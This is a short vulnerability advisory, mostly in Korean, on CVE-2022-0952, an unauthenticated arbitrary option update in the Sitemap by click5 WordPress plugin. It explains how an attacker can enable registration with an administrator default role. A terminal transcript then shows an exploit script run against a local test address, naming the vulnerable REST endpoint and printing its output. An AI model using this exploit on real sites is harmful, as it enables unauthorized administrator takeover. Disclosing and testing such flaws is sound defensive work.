
사이트맵 by click5 < 1.0.36 - 인증되지 않은 임의 옵션 업데이트
click5의 Sitemap < 1.0.36 - 인증되지 않은 임의 옵션 업데이트
이 플러그인은 REST 엔드포인트를 통해 옵션을 업데이트할 때 권한 확인 및 CSRF 검사를 수행하지 않으며, 업데이트되는 옵션이 플러그인에 속하는지 확인하지 않습니다. 결과적으로 인증되지 않은 공격자가 users_can_register 및 default_role과 같은 블로그 옵션을 임의로 변경하여 새로운 관리자 계정을 생성하고 블로그를 장악할 수 있습니다.
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555
The plugin version is below 1.0.36.
The plugin version is 1.0.35
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555 --fix yes
Vulnerability check: http://192.168.1.131:5555
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register
Option set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX
Fixed: You can not longer register